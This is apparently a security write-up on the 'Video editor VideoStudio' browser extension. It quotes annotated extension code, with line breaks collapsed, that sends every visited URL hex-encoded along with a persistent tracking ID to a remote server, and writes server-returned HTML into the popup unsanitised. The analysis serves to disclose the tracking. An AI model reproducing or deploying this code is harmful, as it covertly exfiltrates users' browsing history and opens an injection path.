Is Video editor VideoStudio safe?

// Fires on EVERY tab switchchrome.tabs.onActivated.addListener(function(activeInfo) {    aati = activeInfo.tabId;    sendUrlToServer(aati);});// Fires on EVERY navigationchrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) {    sendUrlToServer(tabId);});

function sendUrlToServer(tabId) {    chrome.tabs.get(tabId, function(tab) {        // Skips only redcoolmedia.net's own pages        if (!tab.url.includes('redco') && tab.url.includes('http') && tab.url !== lastSentUrl) {            transmit(tab.url);            lastSentUrl = tab.url;        }    });}// Sends hex-encoded URL + persistent user IDawait fetch('https://stream.redcoolmedia.net/api/videostudiou.php'    + '?l=' + bin2hex(url)   // hex-encoded URL    + '&hex=1'               // tells server encoding is in use    + '&u=' + userId);       // persistent tracking ID

// On every popup open, fetch this user's video history from the server// The 'u' parameter is the persistent per-installation tracking IDvar req = new XMLHttpRequest();req.open('GET', 'https://stream.redcoolmedia.net/api/videostudiob.php?u=' + trackingId, true);req.onload = function() {    if (req.readyState === 4 && req.status === 200) {        // Server returns HTML containing user's browsing history        // Injected directly into the popup DOM without sanitisation        document.getElementById('internetx').innerHTML = req.responseText;    }};req.send(); // Fires immediately when popup loads

// Load persistent tracking ID from local storagelet storageResult = await chrome.storage.local.get(['redcool_key']);let profile = storageResult['redcool_key'] || {};// Reuse existing ID, or generate a new one on first runif (profile.usernameredcool) {    trackingId = profile.usernameredcool;} else {    // 10-char random alphanumeric: 62^10 ≈ 839 trillion combinations    trackingId = randomString(10).toLowerCase();    profile.usernameredcool = trackingId;}// ID is then attached to EVERY request to the server